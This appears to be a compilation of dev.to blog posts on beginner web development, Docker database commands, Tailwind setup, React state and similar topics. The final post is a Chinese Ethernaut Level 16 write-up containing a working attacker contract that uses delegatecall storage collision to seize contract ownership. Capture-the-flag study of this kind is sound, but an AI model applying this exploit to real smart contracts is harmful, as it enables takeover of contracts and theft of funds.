teleren/devto huggingface dataset:
Summer Vacation and Coding
Tags: javascript, webdev, beginners
Published: 2022-05-28 05:07:09

It's summer time!! 

I hope everyone is done with their exams, and now we have a good long summer break.



You can do several things this summer break if I have to classify them on a larger scale then we have two different ways DSA and Development. Most of the students will try to work in the Development or DSA domain.



For this post let's focus on the development side,



- There are different paths that you can take to start your development journey. It's not like DSA where you have a defined set of questions that you can solve.



- let's talk about one of the simplest paths that one can follow for development. Pick a few programming languages for beginners it would be HTML, CSS and Javascript.



- First, try to make a single page application(SPA) it can be related to your interest or you can make your own portfolio website.



- Now next step would be to create a website where you want to take user feedback. Like in the form of a Login page or some sort of survey website. Again it's up to your how you want to explore the web world. For this, you need a few more technologies my preferences would be PHP and MySQL.



- Your website is ready but it still looks old, lacks responsiveness and is slow to use. To fix this issue you have to use certain CSS frameworks such TailwindCSS, and Chakra UI along with Frontend frameworks such ReactJS, and Angular.



- Now, the next step would be to save your form data on a remote database. You can use Postgres (SQL), and MongoDB(NoSQL) databases. To make this happen effect you have to use certain frameworks such as Node js, Django, and React Js.



So now you have made a really good project with the help of different tech stacks. You can put this project in your resume and look for some startups which work on the same tech stack as you did.



Happy Learning :)



#summer #webdevelopment #learning #project #html #css
Some GoogleDrive Shortcuts That Might Help You!
Tags: tutorial, storage, googledrive
Published: 2022-05-28 04:53:40

If you are someone who uses the service of GoogleDrive a lot on your web browser (Chrome/Brave/Vivaldi/Edge/Safari), then the following shortcuts might come in handy.

## Shortcuts

🎯 You can use `Ctrl` to select multiple files/folders.
🎯 You can copy the files/folders using `Ctrl` + `C` and paste them using `Ctrl` + `V`.
🎯 You can open the file/folder in a new tab by selecting the file/folder and using `Ctrl` + `Enter` keys.


### Conclusion

Thanks for reading this short article. You may follow me on [GitHub](https://github.com/FahimFBA), [LinkedIn](https://bd.linkedin.com/in/fahimfba), and [Twitter](https://twitter.com/Fahim_FBA). Also you can read my posts on **freeCodeCamp** from [here](https://www.freecodecamp.org/news/author/fahimbinamin/).

Thank you!
Docker
Tags: docker, spanish, beginners, tutorial
Published: 2022-05-28 04:06:00

## [DockerHub MongoDB](https://hub.docker.com/_/mongo)
```
docker pull mongo:latest
```
```
docker run -d
     -p <puerto de escucha>:27017
     -v <ruta de volumen>:/data/db
     --name <nombre de instancia>
     mongo
```
```
ej:
docker run -d -p 27017:27017 -v ~/dataDB/mongoDB:/data/db --name mymongodb mongo:latest
```
```
docker exec -it mymongodb bash
mongosh
db.createUser({user:"fernando", pwd:"password", roles:[]})
db.auth("fernando", "password")
show databases
use <db_name>
show collections
db.<collec_name>.find()
```
[PostgreSQL](https://hub.docker.com/_/postgres)
```
docker pull postgres

docker run -d
     -p 5432:5432
     -v C:\dataDB\postgres:/var/lib/postgresql/data
*    -e POSTGRES_PASSWORD=<password>
     -e POSTGRES_USER=<user_name>
     -e POSTGRES_DB=<database_name>
     --name pgdb
     postgres

psql -U <user> --password  --db <database_name>
```






[SQL Server](https://hub.docker.com/_/microsoft-mssql-server)
```
docker pull mcr.microsoft.com/mssql/server:2022-latest

docker run -d -p 1433:1433 \
     -e "ACCEPT_EULA=Y" \
     -e "MSSQL_SA_PASSWORD=<password>" \
     --name sql1 \
     mcr.microsoft.com/mssql/server:2022-latest


```
[MySQL]()
```
docker pull mysql

docker run -d
     -p 3306:3306
*    -e MYSQL_ROOT_PASSWORD=pswd
     -e MYSQL_DATABASE=
     -e MYSQL_USER=
     -e MYSQL_PASSWORD=
     -v C:\dataDB\mySQL:/var/lib/mysql 
     --name mysqldb
     mysql

docker exec -it mysqldb mysql -p
```




otros comandos útiles

Detiene la ejecución de un contenedor
> docker stop id_contenedor

Lista las imagenes descargadas
> docker images

Elimina containers
> docker rm id_contenedor

Elimina imagenes
> docker rmi nombre_imagen

Lista de containers
> docker ps -a -q -s

_(-a, muestra todos los containers incluso los que no se encuentran corriendo)_
_(-q, muestra sólo los id de los containers)_
_(-s, muestra el tamaño de los containers)_
How to setup Tailwind CSS 🚀🔥
Tags: tailwindcss, css, design, programming
Published: 2022-05-28 04:51:12

Firstly,

## **What is Tailwind CSS?**
Tailwind is a _CSS Framework_ created by **Adam Wathan**.

Unlike other frameworks, it _does not come prebuilt with classes_ to add to the HTML tags.

Instead, it uses a different approach. It brings a much lower level of control by using _utility-based classes_.

You simply bring tiny components together to construct a UI that is **unique**.

** What Tailwind simply does is take a raw CSS File, processes this over a configuration file and produces and output. **

It is really helpful in creating _responsive complex designs_.

Check more on it's [official website](https://tailwindcss.com/)

## **Installation**

### Steps -

- Make sure you have NodeJs installed in your system. If not download it [here](https://nodejs.org/).

- Write the following commands in the terminal opened in the specific location of the folder where to want to use/install it-

```js
npm init -y
npm install -D tailwindcss postcss autoprefixer vite
npx tailwindcss init -p
```

- Create a CSS file and link it to your HTML file and edit it with the below piece of code-

```css
@tailwind base;
@tailwind components;
@tailwind utilities;
```

- In your "tailwind.config.js" file, replace "content:[]" with "content:["*"]"

- Add/edit the following line of JSON in your "package.json".

```json
"scripts": {
    "start": "vite";
}
```

- Now, finally write the following in your terminal to start a Development server for running Tailwind CSS-

```js
npm run start
```

## Where to go now?
Now you are ready to get into Tailwind CSS. I have found some great resources for you all(latest 2022)-

1. [Tailwind CSS Docs](https://tailwindcss.com/docs/)
2. [Pure Coding](https://www.youtube.com/playlist?list=PLoMsOxGlCKvCpB9msZZUCr5wa2NaYkaQ8)
3. [Raddy](https://youtu.be/V5HYZOmkPSs)
4. [Traversy Media](https://www.youtube.com/watch?v=dFgzHOX84xQ)
5. [TechCode](https://www.youtube.com/watch?v=VsY9W8HTaoY)

## Check out my Notes
[Notes](https://drive.google.com/file/d/1qAdqAI-CYiVpiJwxQ5IkK1BI_aOcC_ou/view?usp=sharing)
Give me feedback for my blog
Tags: discuss, showdev, beginners, tailwindcss
Published: 2022-05-28 04:13:02

Hello everyone welcome to another post.
Some time ago I made my own blog website using Tailwind css and next js.

Please visit it here: [Tech With Spandy](https://techwithspandy.tk)
And give me feedback on what do you like about it and what are the things that I should change in the comments section .

## Also kindly suggest me a good new nice name for my blog


Thanks, take care .
Bye
Code Smell 136 - Classes With just One Subclass
Published: 2022-05-28 04:06:03

*Being generic and foreseeing the future is good (again).*

> TL;DR: Don't over-generalize

# Problems

- Speculative Design

- Complexity

- Over-Engineering

# Solutions

1. Remove the abstract class until you get more examples

# Context

In the past, programmers told us to design for change. 

Nowadays, We keep following the scientific method. 

Whenever we find a duplication we remove it. 

Not before. 

Not with interfaces, not with classes.

# Sample Code

## Wrong

[Gist Url]: # (https://gist.github.com/mcsee/ce3cbe785c4b1d542a2b0660acabbc8f)
```python
class Boss(object):
    def __init__(self, name):
        self.name = name 
        
class GoodBoss(Boss):
    def __init__(self, name):
        super().__init__(name)
        
# This is actually a very classification example
# Bosses should be immutable but can change their mood
# with constructive feedback
```

## Right

[Gist Url]: # (https://gist.github.com/mcsee/441d6bf98d916336dbfa2670d7109640)
```python
class Boss(object):
    def __init__(self, name):
        self.name = name  
        
# Bosses are concrete and can change mood
```

# Detection

[X] Automatic 

This is very easy for our linters since they can trace this error at compile time.

# Exceptions

Some frameworks create an abstract class as a placeholder to build our models over them.

Subclassifing should be never our first option. 

A more elegant solution would be to declare [an interface](https://dev.to/mcsee/code-smell-135-interfaces-with-just-one-realization-4nen) since it is less coupled.

# Tags

- Over Design

# Relations

{% post https://dev.to/mcsee/code-smell-114-empty-class-4khg %}

{% post https://dev.to/mcsee/code-smell-11-subclassification-for-code-reuse-1136 %}

{% post https://dev.to/mcsee/code-smell-43-concrete-classes-subclassified-40fp %}

{% post https://dev.to/mcsee/code-smell-92-isolated-subclasses-names-3i84 %}

{% post https://dev.to/mcsee/code-smell-135-interfaces-with-just-one-realization-4nen %}

# Conclusion

We need to wait for abstractions and not be creative and speculative.

# Credits

Photo by [Benjamin Davies](https://unsplash.com/photos/9b5dvrjb05g#:~:text=Photo%20by%20Benjamin%20Davies%20on%20Unsplash) on Unsplash

* * *

> Writing a class without its contract would be similar to producing an engineering component (electrical circuit, VLSI (Very Large Scale Integration) chip, bridge, engine...) without a spec. No professional engineer would even consider the idea.

_Bertrand Meyer_
 
{% post https://dev.to/mcsee/software-engineering-great-quotes-26ci %}

* * *

This article is part of the CodeSmell Series.

{% post https://dev.to/mcsee/how-to-find-the-stinky-parts-of-your-code-1dbc %}
I created timer
Tags: webdev, showdev, python, productivity
Published: 2022-05-28 03:59:41

Hello people i created Rattlefoundation's pomodoro timer.With this timer you can do exercise intervals etc.You can use it as in our website.It is totally secure

Timer-https://rattleofficial.github.io/timer

Source code-https://github.com/rattleofficial/timer

Discord server-https://discord.gg/6PNkuBhd
How to debug a specific Gatsby package on build
Tags: gatsby, webdev, tutorial
Published: 2022-05-28 03:24:56

I got an error and needed to get verbose logs for a particular package during a Gatsby build.

I came across this issue on GitHub with reference to a [DEBUG env var](https://github.com/gatsbyjs/gatsby/issues/34051#issuecomment-1077425897) that can be set to get better logs.

```
DEBUG=gatsby:gatsby-plugin-sharp npm run build
```
State management in React
Published: 2022-05-28 03:20:11

State management is one of the most important aspects of every app.
In a nutshell, it is a way to communicate and share the data across components
The app’s state dictates what users see, how the app looks, what data is stored, and so on.
There are four main types of state you need to properly manage in React app.
- Local state
Local state is data we manage in one or another component.
It is most often managed in React using the useState hook.

- Global state
Global state is data we manage across multiple components.
There are the recommended libraries like Redux, Recoil, Jotai, Rematch, Zustand, Hookstate and in small to medium apps, we can use Context API for state management.

- Server state
Server state is data that comes from an external server that must be integrated with our UI state.
There are tools such as React Query and SWR that make managing server state much easier.

- URL state
Data that exists on our URLs, including the pathname and query parameters.
If you are using React Router, you can get all the information you need using useHistory or useLocation.
Additionally, if you have any route parameters that you need to use, for example to fetch data based off of, you can use the useParams hook.
If you are using Next.js, almost everything can access directly from calling useRouter.
SHAS： A starter for the self-hosted app, help you to build your next full-stack project.
Tags: vue, go, tailwindcss, sqlite
Published: 2022-05-28 02:51:10

---
title: SHAS： A starter for the self-hosted app, help you to build your next full-stack project.
published: true
description: A starter for the self-hosted app, help you to build your next full-stack project.
tags: vue, go, tailwindcss, sqlite
cover_image: https://cdn.jsdelivr.net/gh/xiaoluoboding/self-hosted-app-starter@latest/public/preview.png
---

## Preview

![Preview](https://cdn.jsdelivr.net/gh/xiaoluoboding/self-hosted-app-starter@latest/public/preview.png)

[Live Demo](https://self-hosted-app-starter.up.railway.app/)

[Documentation](https://xiaoluoboding.github.io/self-hosted-app-starter/)

## Features

> SHA is built on top of GSVT Stack, which stands for Go、SQLite、Vue 3、TailwindCSS

- 🪄 Full-stack starter with GSVT Stack
- ⚓️ Self-hosted with `Dockerfile` on the fly
- 💾 Store your data using the SQLite database
- 🖖 Choosing your familiar Front-end Tech Stack, default is Vue 3
- 🚄 Deploy your app easily on the Railway

## Tech Stack

### Back-end

- Go
- Air
- SQLite

### Front-end

Generate by [vue3-starter](https://github.com/xiaoluoboding/vue3-starter)

- Vue 3
- Vite
- WindiCSS


## Repo

[https://github.com/xiaoluoboding/self-hosted-app-starter](https://github.com/xiaoluoboding/self-hosted-app-starter)

If you like it, please leave a star 🌟
Using Openpesa PHP package for Payments collection on Mpesa Mobile Wallet
Tags: php, mpesa, openpesa, beginners
Published: 2022-05-28 02:45:04

Part of upcoming Openpesa Tutorials

> Disclaimer: This is more of an exercise than a tutorial. 

Hello there,

In this tutorial we will see how to create a checkout page that uses Openpesa PHP package to communicate to Mpesa for payments collection.

- User will visit a checkout page and see a form
- User will fill and sumbit the form
- User will be prompted to enter Mpesa pin from their phone
- User will be redirected to asante page

<br>

## Prerequisites

### Skills

- Basic php
- Basic programming

### Required software

- PHP 8 or higher
- [Composer](https://getcomposer.org/) 

### Other

- Internet connection (communication to Mpesa servers)
- VSCode is recommended
- Bash compatible shell is convenient

<br>

## 1. Create Fresh project/Setup on existing

### Manual (with existing project)

> Recommended for beginners

> Assuming `composer.json` is missing


- composer.json (copy from [here](https://gist.githubusercontent.com/alphaolomi/582e2f70c3a2e2113e9aa1be5e757e24/raw/d057288237a7f337170b15122c3d83843e070a78/composer.json))
- .gitignore (copy from [here](https://raw.githubusercontent.com/github/gitignore/main/Composer.gitignore))
- composer.lock _will be auto generated_

### Fresh project+ Automatic

> Using [gitignore.cli](https://www.npmjs.com/package/gitignore.cli) to install `npm install -g gitignore.cli` or `yarn global add gitignore.cli`

```sh
composer init
gitignore composer > .gitignore
```

<br>

## 2. Install package

To install openpesa php package run

```sh
composer require openpesa/pesa
```

<br>

## 3. Create 3 files

index.php <br>
process.php <br>
asante.php <br>

Where

index.php - checkout form example <br>
process.php - app logic ie. collection funds  <br>
asante.php - redirected after sucess payment <br>

<br>

> For simplicity <br>
> Use [Boostrap for styling](https://getbootstrap.com/docs/5.2/getting-started/introduction/) <br>
> Use [Emmet](https://docs.emmet.io/cheat-sheet/) for fast scaffolding <br>

## 4. Get Mpesa credentials

For an in depth guide see [getting-started-with-mpesa-developer-portal](https://alphaolomi.hashnode.dev/getting-started-with-mpesa-developer-portal)

[Mpesa portal link](https://openapiportal.m-pesa.com/sign-up)

tl;dr

- Signup as dev
- Setup 2FA
- Create App - get/copy secret key
- Enable transactions (C2B for our tutorial) for that app
- View docs => On Session docs - get/copy public key
- Add testing phone numbers

## 5. Update pages-files

Remember the 

index.php
asante.php
process.php

> Focusing on `process.php`

- Copy example from [openpesa/php-pesa#quick-examples](https://github.com/openpesa/php-pesa#quick-examples)

- update credentials
- get POST data from submited form (see [here](https://www.w3schools.com/php/php_forms.asp)

## 6. Test it all

 
## Further

- Use More robust solution alts consider(validations, logging, queues, user data, )
- Use Database?
- Handle Logic for failed payments (retry)
- Why not [Laravel](https://laravel.com/)?


Happy Coding 🎉
Programming Concept #Algorithm
Tags: beginners, programming, tutorial, discuss
Published: 2022-05-28 02:42:00

Hi there 🤗. 

I have decided to create a series on the concepts of programming. If I missed out on something, please you can leave a message in the comment section. Let's help as many beginners as we can. With that side note, let's dive into today's post.

As a software developer,  the first thing you should learn is Algorithm 😱. Wait now, it's not that scary. I know you are thinking about maths because you are probably math-phobia but it's not it. It is not Algebra but rather Algorithm. 

Algorithm is basically the steps you will follow to complete a certain task. As humans, we always follow an algorithm to do something i.e. sleeping, eating, going to school, reading this blog post, etc.

Before you do any task, you will have to think about what you need to do to successfully complete the task. For example,  can you write down the directions from your house to your school using landmarks for your friend to follow? Well, if you can do that, then it means you can write an algorithm. The directions you wrote must follow a certain order or sequence. The moment you switch one of the steps, your friend will never get to your school.

Basically that's Algorithm.  It's not that difficult to start with. You can express each step using the English language which is referred to as **PseudoCode** meaning "FalseCode". Your pseudocode should not include any programming language keyword. It should be easy and simple enough to read and understand. 

You can also express your algorithm graphically using Flow Chart. It uses symbol to represent actions in your algorithm.
Both pseudocode and flow chart cam be used as a blueprint to write code in any programming language. 

In my next post, I will discuss how to write an algorithm using pseudocode and flow chart.

Enjoy your weekend and see you on the next one 👋
My setup Mac for Backend Developer
Published: 2022-05-28 02:10:11

### Summary

I received a new machine from my company for my job. With a machine with no software, so let's start setups an environment on it.  My machine is `MacbookPro 16" 2019` with Intel Core i9 ( I know it is very hot), 1TB SSD and 16GB RAM. Why 2019? I have tools for DevOps, sometimes I have read a few complaints about the `M1` process from other engineers, so I decided on a `Macbook Pro 16" 2019`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yr00inchd8kjae6efh2y.jpeg)

First of all, I installed [`homebrew`](https://brew.sh/) - package management in `OSX`. Yes, many tools below use `brew` installed,  I don't want you pkg files, instead of the use command line.

```zsh
brew install wget
```

#Apps

I am using...

- Docker: build and deployment container
- Terraform: build and deployment infrastructure
- AWS CLI: interaction with aws via command line
- Kubectl: for learning and deployment of Kubernetes
- TablePlus: Database management
- Raycast: Spotlight instead
- Notion: quick note and share
- Bitwarden: Password management
- Postman: Testing my API
- Sourcetree: Version Control Source UI 
- Flame shot: capture and edit image
- Karabiner: I use an external keyboard and it helps remap key
- Microsoft Edge: Primary browser, Safari is the second browser

### Terminal and Editor

I love the command line. An interesting terminal brings much inspiration for a development job. This is currently my terminal and how to set up it:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sthjz3tm37qdd7qawy4l.jpeg)

I choice [`iTerm2`](https://iterm2.com/) instead of the default terminal on `OSX`. `iTerm2` has many colour schemes, is customised a little and uses `GPU` support rendering.
My shell is [`ZSH`](https://ohmyz.sh/) with `Oh-my-zsh` and [`Starship`](https://starship.rs/). `Starship` shows a whale in the terminal, it is very cool!.
`BlexMono Nerd Font` is my choice font. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oyqf28v3o2fj8ymttj7j.png)

As a Backend Developer, I choice `Neovim`, exact [`LunarVim`](https://github.com/LunarVim/LunarVim) is the primary editor for `Go` and `NodeJS`, sometimes I also write `HCL`, config file like `YAML`.
With `LunarVim` you have an editor like `VSCode` but faster, smaller and customizer than `VSCode`. I use [`Gruvbox`](https://github.com/ellisonleao/gruvbox.nvim) scheme with `Lunarvim`

### Aliases

To make your life easy, don't forget to use the aliases command.
Simply, add some command below to `.zshrc`, reload and enjoy!

```zsh
alias k="kubectl" 
alias tf="terraform"
alias ggraph="git log --oneline --graph --color --all --decorate"
alias branch="git branch -a"
...
```

### Exit

Thanks for reading. Have a good day!
Stop Using Eye-catching Words in Your Title, Please !
Tags: discuss
Published: 2022-05-28 01:43:21

I (/We ?) must admit that your post becomes super sexy with just some words in the title:
**Top**
**Best**
**Must**
...

But, please, remove them or use normal ones:
**My**
**My team**
**My company**
**Some company**

Many thanks.
Ethernaut系列-Level 16(Preservation)
Published: 2022-05-28 01:33:04

## LEVEL 16 （Preservation）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
```
## 通关要求
  owner=player

##要点
  1.理解delegatecall如何处理storage
第6关有类似
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk

  2.storage的位置如何存储

##解题思路
调用delegatecall代码使用被调合约的代码，但storage使用是调用方的storage
所以第一次调用setFirstTime时，LibraryContract里的storedTime(slot:0)对应的是Preservation的timeZone1Library(slot:0)的位置,所以timeZone1Library会被入参time给覆盖，这样可以传time为我们指定一个外包合约地址，第二次再调用setFirstTime就会调用这个外部合约，然后在通过这个外部合约写入owner(slot:2)即可改下owner

```solidity
contract PreservationRun {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  
  function setTime(uint256 _time) public {
    owner = address(uint160(_time));
  }
  function run(address _runAddress, address _playerAddress) external payable {
    //调用第一次setFirstTime后，会覆盖Preservation.sol的timeZone1Library为本合约
    ILevel(_runAddress).setFirstTime(uint160(address(this)));
    
    //第二次时间是调用这个合约的setTime,但storage用的是Preservation.sol的storage的slot:3即owner
    ILevel(_runAddress).setFirstTime(uint160(_playerAddress));
  }  
}
```